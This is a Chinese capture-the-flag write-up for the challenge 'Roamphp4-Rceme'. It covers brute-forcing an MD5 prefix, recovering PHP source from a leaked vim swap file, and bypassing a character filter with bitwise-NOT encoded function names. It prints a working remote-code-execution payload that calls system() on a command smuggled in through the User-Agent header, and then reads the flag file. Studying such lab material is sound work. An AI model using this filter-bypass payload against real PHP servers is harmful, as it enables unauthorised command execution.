[极客大挑战 2020]Roamphp4-Rceme
进入题目,可以看到,大概意思就是如果code的md5值前5位是3e16b,那么就会执行命令
这边给出一个md5生成脚本
1 2 3 4 5 6 7 8
| import hashlib
i = 0 while True: if hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:5] == '0e788': print(i) break i = i + 1
|
查看源码,发现提示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| vim swp,.swp文件是vim使用不当而生成的一个文件,这种文件一般都是“坏的”,查看原来内容需要vim -r 要直接用 Vim 打开一个 .swp 文件,你可以采取以下步骤。一般情况下,.swp 文件是二进制文件,直接编辑它并不常见,但你可能会希望查看其内容。
1. 打开 .swp 文件 你可以用 vim 命令直接打开 .swp 文件。例如: vim example.txt.swp
2. 使用 :recover 命令恢复文件 如果你的目的是从交换文件中恢复数据,可以使用 :recover 命令。假设你有一个交换文件 example.txt.swp,你可以这样做: vim -r example.txt
3. 手动打开 .swp 文件查看内容 如果你只想查看 .swp 文件的内容,尽管它是二进制文件,你可以使用 Vim 的二进制模式来查看。注意,这不是常见操作,而且通常不会有很好的阅读体验,但可以帮助你检查交换文件的一些细节。步骤如下: vim -b example.txt.swp
在 Vim 中,使用以下命令可以切换到十六进制模式,这样你可以更方便地查看二进制内容: :%!xxd
要返回普通模式,可以使用: :%!xxd -r
4. 使用 xxd 查看 .swp 文件 你也可以使用 xxd 命令来查看 .swp 文件的内容: xxd example.txt.swp | less 这会将 .swp 文件转换为十六进制显示,便于查看。
5. 确定如何处理 .swp 文件 大多数情况下,你需要根据 Vim 的提示来决定如何处理 .swp 文件。例如,当你尝试打开一个文件时,Vim 会提示交换文件已经存在,并给出几种处理选项:
O: 只读打开文件。 E: 继续编辑文件,忽略交换文件。 R: 恢复文件,尝试从交换文件中恢复数据。 D: 删除交换文件,通常在确认没有其他 Vim 实例在编辑该文件时使用。 Q: 退出,不进行任何操作。 A: 中止操作,类似于退出。 选择适当的选项,处理交换文件后再继续编辑主文件。
通过这些方法,你可以用 Vim 打开和查看 .swp 文件。要特别注意的是,.swp 文件主要用于 Vim 的数据恢复,所以一般不建议直接编辑它们,而是通过恢复和处理的方式进行操作。
|
然后,我们直接访问/.index.php.swp
在kali中打开 vim -r index.php.swp
源码如上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| substr(md5(mt_rand() . sha1(mt_rand())), 0, 5) 是一段 PHP 代码,用于生成一个长度为 5 的随机字符串。下面是这段代码的具体解析:
mt_rand():
mt_rand() 是一个生成随机整数的函数,基于 Mersenne Twister 算法,比 rand() 更快并且提供更高的随机性。 该函数会返回一个介于 0 和 RAND_MAX 之间的随机整数。 sha1(mt_rand()):
生成一个随机整数,然后计算其 SHA-1 哈希值。 SHA-1 哈希值是一个 40 字符的十六进制字符串。 连接随机值和 SHA-1 哈希值:
mt_rand() . sha1(mt_rand()) 生成两个随机整数,并将它们的值连接起来。 md5():
对连接后的字符串计算其 MD5 哈希值。 MD5 哈希值是一个 32 字符的十六进制字符串。 substr():
从生成的 MD5 哈希值中提取前 5 个字符。 组合起来,代码的具体执行顺序如下:
调用 mt_rand() 生成一个随机整数。 调用 sha1() 生成另一个随机整数的 SHA-1 哈希值。 将这两个值连接起来形成一个字符串。 计算这个字符串的 MD5 哈希值。 从 MD5 哈希值中提取前 5 个字符。 因此,代码的作用是生成一个相对随机的 5 字符长的字符串
|
可以看到进行了长度限制和过滤,并且那个md5值也在变化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| 前置知识:
('phpinfo')() ['phpinfo'][0]() ['phpinfo']{0}() 效果作用是一样的。
phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF](); 加这个[~%FF]只是因为php7的解析方式,当然换成其他的也可以例如[~%EF] [~%CF]
getallheaders() 获取所有 HTTP 头信息,返回一个关联数组。 next() 试图将数组的内部指针移动到下一个元素,并返回该元素的值。
假设 HTTP 头包含以下信息: Array ( [Host] => example.com [User-Agent] => Mozilla/5.0 [Accept] => text/html [Connection] => keep-alive ) 当你执行 next(getallheaders()) 时:
<?php $headers = getallheaders(); $nextHeader = next($headers); echo $nextHeader; ?> 在这个示例中,$nextHeader 将包含 Mozilla/5.0,因为这是数组中的第二个元素。
|
因为UA是可控的,所以一般在UA进行RCE
然后,我们抓包看一下
在第二位,所以构造语句拿到http头,并且执行在UA中的命令
1
| 即:system(next(getallheaders()))
|
然后,进行取反绕过
1
| [~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
|
查看效果
然后,直接cat /flll1114gggggg
参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html